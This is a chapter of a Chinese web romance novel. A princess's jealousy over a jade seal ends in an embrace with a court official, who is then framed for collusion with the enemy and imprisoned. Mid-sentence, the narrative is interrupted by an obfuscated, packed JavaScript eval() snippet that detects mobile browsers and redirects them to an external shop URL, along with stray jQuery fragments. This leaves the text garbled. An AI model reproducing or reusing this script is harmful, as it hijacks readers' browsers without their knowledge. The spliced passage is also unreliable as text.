64. 第 64 章

作品:《弃撩少师后他急了

    江叙风虽告假修养,但为了避免回衙署后被文卷淹死,他还是每日派人将积压的公务带回府中处理。


    夜里,江叙风用完燕窝羹,开始专心致志处理公务,广修则枕着双臂倚坐在窗栏上,双眼轻阖十分怡然自得。


    突然,广修耳朵动了动,随即警惕地睁开双眼,等他仔细辨认过后,广修全身绷紧的肌肉倏地放松,转头欣慰道:“大人,殿下还怪重视你的,一天来找你两回。”


    江叙风笔锋一顿,他再清楚不过,林画月是个性情热烈的人,她就像北漠烈日下的狂风,席卷热浪铺天盖地而来,搅得黄沙漫舞一地残颓后,又干脆迅捷地过境离开,让人抓不住也追不上。


    跟小孩新得了件稀奇物什差不多,可谁又说得准这股新鲜劲能维持多久?


    自怨自艾的叹息还未来得及脱出口,林画月已经一个闪身撞门而入。


    “忙着呢?看来我来得不是时候啊。”


    “无妨,”江叙风搁下手中狼毫,“正好我有些疲累,想歇一歇。”


    “你不是才刚开始吗?”广修心里嘟囔,人倒是很识趣地闪开了。


    江叙风打开一旁的食盒,将一盘桂花糕搁在林画月面前:“尝尝,这次味道如何?”


    林画月见食盒上贴的依然还是那家糕点铺的名字,道:“糕点铺都是固定的配方固定的口味,跟上次能有什么不同?”


    嘴上虽这么说着,林画月还是很配合地拿起一块桂花糕放入口中品味,没过一会儿,她眼睛一亮。


    “就是这个味道!跟燕伯母做出来的一模一样!”林画月又拿起一块,“难不成这家店真换配方了?”


    “可能吧。”江叙风含糊其辞,“以后想吃了跟我说就好,不必再去卫国公府了。”


    “你告诉我在哪,我自己差人去买得了。”


    “这家店位置很偏,不好找。”


    “行行行,这有什么好争的?谁买都无所谓,我有得吃行。”林画月风卷残云吃完一整盘,满足地擦擦嘴后,开始乐呵呵打量起来。


    林画月瞅着江叙风一桌的文房四宝,突然想起了什么,嘴里桂花糕的余味都不香了,她立刻嘴角往下一撇:“江大人可有用印的习惯?”


    江叙风不明所以,如实答:“有,平日里的文书和钱粮赋税的簿册上都需要加盖官印。”


    “我不是说官印,”林画月下巴一扬,杏眼一横,样子十分刁蛮,“我是说你私底下写诗作画时,是不是会盖上私印?”


    “我哪里来的时间写诗作画,”江叙风笑了,“你想让我给你写诗吗?倒是可以试试。”


    “我不是这个意思!”林画月伸出食指气势汹汹指着江叙风鼻子,大有兴师问罪的架势,“没时间写诗作画那你为何要收下陈晓晓的小印?”


    江叙风被她这阵仗搞懵了,终于认真起来,蹙眉沉思了一会儿才道:“陈家小姐从未送过我什么小印。”


    “骗人!明明就送了,是宝光苑的金镶玉小印,羊脂白玉做底,上面有黄金镶嵌的腊梅!”


    江叙风终于回忆起来,起身从旁侧的博古架上拿下来一个紫檀木小盒,打开转向林画月:“你是说这个?”


    林画月一看,赫然就是她所描述的小印,上面干干净净,明显从未用过。


    果然!他不仅收了别人的信物,还好好地珍藏了起来!


    林画月气不打一处来,干脆将那檀木盒朝江叙风怀里一推:“跟你的小印过去吧!我最讨厌朝三暮四的男人了!”说罢她扭头就走。


    江叙风没搞明白情况,他赶紧将木盒搁下,大步上前拉住她,可林画月不仅力气大,人也像泥鳅一样滑溜,江叙风几度握住林画月的手腕都被她挣开,完全抓不住。


    两人缠斗了几个回合不见分晓,江叙风干脆将她拦腰抱起,转身放在案桌上,他双手撑在案桌边上,将林画月围困在身前。


    “我怎么朝三暮四了?”江叙风低头看向林画月,气息有些不稳,“画月,你给我宣判前,总得让我知道原因吧?”


    林画月梗着脖子:“你明明知道陈晓晓对你有意,你还收她的物件,收了还好好珍藏着舍不得用,这不是朝三暮四是什么?”


    江叙风微怔,随即明白过来,耐心解释道:“误会,这枚玉印是前年我过生辰时,掺在陈大人的贺礼中一起送来的,我不知这是陈家小姐所赠,没用过也并非因为舍不得,只是实在用不上罢了。”


    “那元宵灯会那天,你跟陈晓晓说了些什么?把她逗那么开心。”林画月不依不饶。


    “元宵灯会?我跟她说话了吗?”江叙风回忆了半天,“哦,我问她,你同她聊了些什么。”


    “就这个?这有什么好逗乐的。”


    江叙风看着她较劲的表情,唇间溢出一声低笑:“画月,你是在吃醋吗?”


    “是,”林画月理直气壮,“你有意见?”


    “没有,”江叙风俯身埋进她颈窝,深嗅着她身上的暖香,“你想怎样都行,我没有意见。”


    林画月被他的呼吸挑起一阵痒意,不由自主耸肩一躲,江叙风却追着她的行迹埋得更深了。


    “画月,你冤枉我,是不是该给我点补偿?”


    他的声音通过骨骼传至林画月耳朵,绵绵的震颤,和锁骨处时不时的温软触碰让林画月差点酥掉,方才一腔怒气早就烟消云散。


    “你想要什么?”林画月没想到他居然这么缠人,让她一下子无从招架。


    江叙风略抬起头,温热的唇轻轻含住她的耳垂,轻咬厮磨。


    “抱抱我。”


    他声音含糊,说话间还有几声含弄她耳垂的水声。


    林画月从耳根到脖颈红了个遍,她闭上眼,双手穿过江叙风手臂,轻轻环在他后背。


    林画月双手攀上来的瞬间,江叙风像得到了允准,他揽住林画月的肩膀,将她狠狠按在自己怀中。


    她的胸腔贴上他的,咚咚咚,心跳剧烈,不知来自于谁。


    江叙风抱得极紧,紧到林画月差点喘不过气,紧到让她想起爹爹入宫请旨前,她也曾这般用力拉住爹爹,央求爹爹别去。


    林画月从前不懂,但她现在已经懂了,有时候用尽全身力气,正是因为知道徒劳无功。


    月上柳梢头,直到透过窗扉照在地面上的一线月光由长变短,江叙风才逐渐松开她。


    林画月与他并排而坐,头靠在他肩上,有一搭没一搭地玩着他的手指。


    他的手骨节分明,修长匀称,此刻这双翻云覆雨的手温顺地垂着,任由林画月来回摆弄。


    “陛下已经免去尚宣代管羽林卫的职位了,看来我们这次计划成效不错,”林画月说,“下一步该怎么做,你有计划了吗?”


    “嗯。”


    林画月一下子坐直身体:“是什么?哪部分是需要我做的?”


    江叙风挑眉:“你好像很着急?”


    林画月哑然,随即苦笑道:“是,我想快些解决尚宣后回北境,我对京师已经厌倦了。”


    江叙风眼睫一颤,倏地抬眼看了林画月一眼,又敛目看向他与林画月交缠的手指。


    良久,谁也没说话,院子里金钟儿的鸣叫声在寂静中越发清晰。


    林画月用肩顶了顶江叙风,先开口道:“所以我们下一步要怎么做?”


    “不急,”江叙风反手将林画月的手包握在掌心,眼神幽深晦暗,“兹事体大,我现在只有一个粗略的想法,还未成形,等我再仔细筹谋一阵子吧。”


    “好。”林画月看了眼更漏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594090|187120||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,起身,“时候不早了,我该回了,你早些休息。”


    江叙风一怔:“这就走了?”


    “你身上伤还未好,我不耽误你休息了。”林画月吻在他眉尾那颗小痣上,“明晚见。”


    江叙风手稍一松,她便抽身而去,消失在茫茫夜色中。


    —


    今夜本该无风无雨,不知怎的,后半夜突然平地惊起一道春雷,一瞬间黑夜亮如白昼,随即轰然巨响。


    林画月彻夜辗转,不得安眠,直至天光微熹。


    四月十六,大雨还在淋漓而下,稀薄晨光中,锦衣卫以雷霆之势将久佑茶肆围封抄没,并顺着密道摸排至羽堂布庄,将正欲潜逃的布庄掌柜抓了个正着。


    锦衣卫在布庄掌柜的卧房暗格中,翻出一张北燚符牌与一张抄录的北境布防图。


    尚宣当即先斩后奏,下令封锁久佑茶肆与羽堂布庄背后的老板——江叙风的府邸,将尚在养伤的江叙风扣押,随后他带着两家店铺的房契与搜集到的证据,于百官上朝之时闯入奉天殿,呈于圣驾面前。


    一时间,满朝哗然,谁也没有料到,当朝太傅竟然会与北燚暗通款曲。


    这情形,与六年前的张仲全案如出一辙,唯一不同的是,皇上在面对这堆铁证时,犹豫了。


    最终,皇上下令,将江叙风押入诏狱,由尚宣主审此案,刑部协理听调,一应审讯、取证及拟罪事宜,皆需直奏御前,由皇上亲裁。


    消息传到公主府时,林画月正在院中练剑,她一时惊愕,长剑竟脱手而飞,直插入三丈外的石缝中。


    她无论如何也没有想到,仅仅一夜之间就变故横生。


    “尚宣栽赃的手段倒是越来越娴熟,我现在就进宫见陛下!”


    方才刚赶到公主府的广修将林画月拦住:“殿下!你若是去找陛下求情,我家大人就真的完蛋了!”


    “不说求情,至少要想办法把关押的地方改成刑部大牢吧?诏狱里的手段你又不是不清楚,没人扛得住,”林画月甩开广修,“而且一旦江叙风进了诏狱,黑的白的全凭尚宣一张嘴,尚宣手下屈打成招的案子还不够多吗?”


    林画月腾空而起,广修一把抓住她的脚腕,将她拽下来摁在廊柱上。


    林画月横腿扫去,她太过机警,广修任何招式与身法的疏漏都能被她火眼金睛发现,并从中突破,广修应不暇接,只能凭着压倒性的蛮力将她控制住,无论她如何攻击佯诱,广修都硬生生受着,以免再暴露出破绽。


    “没用的!今早朝会上就已经有无数官员反对锦衣卫主审,要求将此案移交给三司,但陛下拒绝了。谋反和通敌向来是陛下的底线,尚宣这次是奔着一击即中的目的出手的。”


    林画月静默了,她呆若木鸡地看着广修,喃喃道:“我眼下孤立无援,此时明明正是报复我的最好时机,尚宣为何会放着我不管,转而盯上江叙风?一定是我上次去久佑茶肆被尚宣知道了,从而让他发现江叙风和我是一伙儿的,对吧?”


    广修摇头,两行清泪顺颊而下:“不是你的错,是我。这两家店铺都是我提供给大人的,我没想到师父原先这些私人产业竟然早在尚宣的监视之中,是我太大意了,是我害了大人,都是我的过错。”


    林画月双目无神地看着广修,突然,她抓住广修的胳膊,像抓住汪洋中唯一一根浮木:“广大哥,你说,这会不会是江叙风的计划?他先前有向你透露些什么吗?”


    “没有,完全没有,”广修痛苦地垂下头,“大人被押走前只对我说,让我千万看好殿下,别让殿下为他求情。还有,此物还给殿下……”


    广修从衣襟中摸出一枚青玉坠,颤抖着递给林画月。


    “大人说,忘了他吧,于殿下而言,这应该不难做到。”